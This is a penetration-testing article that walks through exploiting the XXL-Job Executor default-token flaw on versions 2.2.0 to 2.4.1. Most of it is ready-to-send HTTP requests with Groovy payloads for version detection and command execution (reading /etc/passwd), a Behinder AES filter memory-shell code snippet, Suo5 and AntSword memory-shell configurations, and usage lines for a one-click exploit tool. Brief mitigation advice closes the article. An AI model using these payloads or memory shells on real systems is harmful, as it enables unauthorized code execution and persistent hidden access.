In penetration testing, XXL-Job vulnerabilities are often highlighted for their convenience in direct reverse shell attacks. However, real-world scenarios frequently involve “non-outbound networks” or “missing scheduler panels,” which pose greater challenges. This article breaks down the version detection, command execution, and multiple memory shell injection methods for the XXL-Job Executor default token vulnerability, using practical case studies. It also provides a one-click tool to simplify operations, serving as a reference for security testers and DevOps engineers.

1. Vulnerability Background & Test Environment
As a popular distributed task scheduling framework, XXL-Job has a default AccessToken (“default_token”) configuration vulnerability in some Executor versions. Attackers can bypass authentication and execute malicious code using this vulnerability. This test focuses on “non-outbound network” and “no scheduler panel” scenarios to verify the feasibility of exploitation and alternative solutions.
Key Test Environment Parameters
| Configuration Item | Details | Description |
|---|---|---|
| Target System | XXL-Job Executor | Not a complete XXL-Job project; only integrates the Executor module. |
| Tested Versions | 2.2.0, 2.3.1, 2.4.1 | Covers mainstream stable versions to verify version-specific impacts. |
| Default Token | default_token |
Default Executor configuration; risky if not modified. |
| Common Port | 9999 | Default communication port for XXL-Job Executor (adjust based on reality). |
2. Version Detection & OS Identification
Different XXL-Job versions use different log output classes, which is the core basis for version detection. By constructing a /run request to execute a Groovy script and querying results via the /log endpoint, you can simultaneously determine the version and identify the operating system.
2.1 Detecting XXL-Job 2.2.0
Version 2.2.0 relies on the xxl.job.core.log.XxlJobLogger class for log output, and scripts must return a ReturnT<String> type result.
Step 1: Send Execution Request (POST /run)
The core is to use a Groovy script to call System.getProperty("os.name") for system information and output an identifier via XxlJobLogger.log().
POST /run HTTP/1.1
Host: IP:9999
Xxl-Job-Access-Token: default_token
Content-Type: application/x-www-form-urlencoded
Content-Length: 933
{
"jobId": 16,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 16,
"logDateTime": 1,
"glueType": "GLUE_GROOVY",
"glueSource": "package com.xxl.job.service.handler;import com.xxl.job.core.handler.IJobHandler;import com.xxl.job.core.log.XxlJobLogger;public class DemoGlueJobHandler extends IJobHandler {@Override public com.xxl.job.core.biz.model.ReturnT<String> execute(String param) throws Exception {try {String os=System.getProperty(\"os.name\").toLowerCase();XxlJobLogger.log(os.contains(\"win\")?\"**********Windows**********\":\"**********Linux/Unix**********\");return com.xxl.job.core.biz.model.ReturnT.SUCCESS;} catch(Exception e){XxlJobLogger.log(e.getMessage());return com.xxl.job.core.biz.model.ReturnT.FAIL;}}}",
"glueUpdatetime": 1586699003757,
"broadcastIndex": 0,
"broadcastTotal": 0
}
A successful response ({"code":200}) indicates the script has executed.
Step 2: Query Logs (POST /log)
Retrieve execution results using logId; the log will contain a system identifier (e.g., **********Linux/Unix**********).
POST /log HTTP/1.1
Host: IP:9999
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
{"logId": 16}
2.2 Detecting XXL-Job Versions >2.2.0 (2.3.1/2.4.1)
Versions after 2.2.0 replace the log class with xxl.job.core.context.XxlJobHelper, and the execute method returns void—scripts must be adjusted accordingly.
Key Request Differences
- Log Class: Changed from
XxlJobLoggertoXxlJobHelper. - Method Signature: Changed from
public ReturnT<String> execute(String param)tovoid execute().
Example Execution Request (POST /run)
POST /run HTTP/1.1
Host: IP:39999
Xxl-Job-Access-Token: default_token
Content-Type: application/x-www-form-urlencoded
Content-Length: 782
{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1,
"glueType": "GLUE_GROOVY",
"glueSource": "package com.xxl.job.service.handler;import com.xxl.job.core.handler.IJobHandler;import com.xxl.job.core.context.XxlJobHelper;public class DemoGlueJobHandler extends IJobHandler {@Override void execute() throws Exception {try {String os=System.getProperty(\"os.name\").toLowerCase();XxlJobHelper.log(os.contains(\"win\")?\"**********Windows**********\":\"**********Linux/Unix**********\");} catch(Exception e){XxlJobHelper.log(e.getMessage());}}}",
"glueUpdatetime": 1586699003757,
"broadcastIndex": 0,
"broadcastTotal": 0
}
2.3 Version-to-Log Class Mapping
| XXL-Job Version | Log Output Class | Method Signature | Log Identifier Feature |
|---|---|---|---|
| 2.2.0 | XxlJobLogger |
ReturnT<String> execute(String param) |
NativeMethodAccessorImpl#invoke0 |
| >2.2.0 (2.3.1/2.4.1) | XxlJobHelper |
void execute() |
GeneratedMethodAccessor#invoke |
3. Command Execution in Non-Outbound Scenarios
Non-outbound networks prevent direct reverse shells. Instead, use the /run endpoint to execute commands and the /log endpoint to read results—creating an “execution-echo” loop. Below is an example of running cat /etc/passwd on version 2.2.0.
3.1 Command Execution Request (POST /run)
Embed Runtime.getRuntime().exec() in the Groovy script to run system commands, then use StringBuilder to concatenate results and echo them via logs.
POST /run HTTP/1.1
Host: IP:39999
Xxl-Job-Access-Token: default_token
Content-Type: application/x-www-form-urlencoded
Content-Length: 1115
{
"jobId": 123,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 123,
"logDateTime": 1,
"glueType": "GLUE_GROOVY",
"glueSource": "package com.xxl.job.service.handler;\nimport com.xxl.job.core.handler.IJobHandler;\nimport com.xxl.job.core.log.XxlJobLogger;\npublic class DemoGlueJobHandler extends IJobHandler {\n@Override public com.xxl.job.core.biz.model.ReturnT<String> execute(String param) throws Exception {\ntry {\nProcess p=Runtime.getRuntime().exec(\"cat /etc/passwd\");\njava.io.BufferedReader r=new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));\nStringBuilder sb=new StringBuilder();\nString line;\nwhile((line=r.readLine())!=null) sb.append(line).append(\"**********\");\nXxlJobLogger.log(sb.toString());\nreturn com.xxl.job.core.biz.model.ReturnT.SUCCESS;\n}catch(Exception e){XxlJobLogger.log(e.getMessage());return com.xxl.job.core.biz.model.ReturnT.FAIL;}\n}\n}",
"glueUpdatetime": 1586699003757,
"broadcastIndex": 0,
"broadcastTotal": 0
}
3.2 Result Retrieval
Send a /log request to query logs for logId=123. The result will include the content of /etc/passwd, e.g.:
{
"code": 200,
"content": {
"fromLineNum": 0,
"toLineNum": 7,
"logContent": "root:x:0:0:root:/root:/bin/bash**********daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin**********..."
}
}
4. Filter-Based Memory Shell Injection
Frequent command execution requests are inefficient. In non-outbound scenarios, injecting a memory shell establishes a long-term control channel. Below are 4 common memory shell injection methods, all implemented via Filter registration.
4.1 CMD Memory Shell (Simple Command Interaction)
Core Features
- Endpoint:
/A_llen666 - Trigger Parameter:
cmd(pass commands directly, e.g.,whoami) - OS Compatibility: Automatically identifies Windows/Linux and calls
cmd.exeor/bin/bashaccordingly.
Injection Principle
- Create a custom Filter to monitor the
/A_llen666endpoint. - When a request includes the
cmdparameter, execute the command based on the OS. - Return command results via
ServletResponsefor real-time interaction.
Example Usage
After successful injection, execute commands by accessing:
http://ip:port/A_llen666?cmd=ls # Linux
http://ip:port/A_llen666?cmd=dir # Windows
4.2 Behinder Memory Shell (Encrypted Communication)
Suitable for scenarios requiring stealthy communication. Supports connections via the Behinder client for encrypted command/result transmission.
Core Configuration
- Endpoint:
/rebeyond - Password:
rebeyond - Encryption: AES
- Trigger: POST request (configure and connect via the Behinder client).
Key Code Snippet
Filter filter = new Filter() {public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
try {HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse)servletResponse;
HttpSession session = request.getSession();
HashMap pageContext = new HashMap();
pageContext.put("request",request);
pageContext.put("response",response);
pageContext.put("session",session);
if (request.getMethod().equals("POST")) {
String k = "e45e329feb5d925b"; // Encryption key
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
// Decrypt and execute malicious class
Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
evilclass.newInstance().equals(pageContext);
}
}catch (Exception e){e.printStackTrace();
}
filterChain.doFilter(servletRequest, servletResponse);
}
};
4.3 Suo5 Memory Shell (Client-Specific)
Requires connection via the Suo5 client and uses the Referer header for authentication to enhance stealth.
Core Configuration
- Endpoint:
/suo5 - Validation Header:
Referer: Igoxoomgb - Client Command:bash
./suo5 -t http://target:port/suo5 -H "Referer: Igoxoomgb"
4.4 AntSword Memory Shell (Wide Compatibility)
Compatible with the AntSword client, using both Referer header and secret key verification—ideal for general penetration scenarios.
Core Configuration
- Endpoint:
/antsword - Secret Key:
Nazkkdgde - Validation Header:
Referer: Niykzlij - Trigger: Configure the endpoint, secret key, and header in the AntSword client; test the connection to gain control.
4.5 Critical Notes for Memory Shell Injection
- Version Compatibility: The Behinder memory shell payload requires adjustments for version 2.4.1 (mainly differences in encryption logic and class loading).
- Escaping Issues: The
\character in Groovy scripts is treated as a placeholder—use double escaping (e.g., replace\"with\\"). - Container Compatibility: This test only covers Tomcat; adjust Filter registration logic for other containers (e.g., Jetty).
- Avoid Business Disruption: Netty memory shells overwrite existing handler logic, which may crash the Executor—use with caution.
5. One-Click Exploitation Tool
Manual request construction and scripting are inefficient and error-prone. To address this, a one-click exploitation tool for XXL-Job Executor vulnerabilities was developed, integrating version detection, command execution, and memory shell injection.
Tool Features
- Automatically detects XXL-Job version and OS.
- Supports one-click injection of 4 memory shell types (customizable endpoints/keys).
- Automatically parses command execution results (no manual log queries).
- Open-Source Repository: https://github.com/qncosfh/xxl_job_executor_exploit
Usage Examples
# Detect target version
python xxl_job_exploit.py -u http://ip:9999 -t default_token -m detect
# Execute command (cat /etc/passwd)
python xxl_job_exploit.py -u http://ip:9999 -t default_token -m exec -c "cat /etc/passwd"
# Inject CMD memory shell (endpoint /A_llen666)
python xxl_job_exploit.py -u http://ip:9999 -t default_token -m memshell -t cmd -p /A_llen666
6. Vulnerability Mitigation Recommendations
- Modify Default Token: In the Executor configuration file (e.g.,
application.properties), changexxl.job.accessTokento a complex random string (avoiddefault_token). - Restrict Port Access: Only allow the scheduler’s IP to access the Executor port (e.g., 9999); block public network access.
- Upgrade Framework Version: Use versions 2.4.1 or later to fix known permission control flaws.
- Regular Security Scans: Use vulnerability scanners to periodically check Executors for default configurations and unauthorized access risks.
This article covers the full exploitation workflow of the XXL-Job Executor default token vulnerability from a practical perspective, with a focus on memory shell solutions for “non-outbound” pain points. Security professionals can use the methods and tools here for efficient testing, while DevOps teams can reference mitigation recommendations to harden systems and reduce vulnerability risks.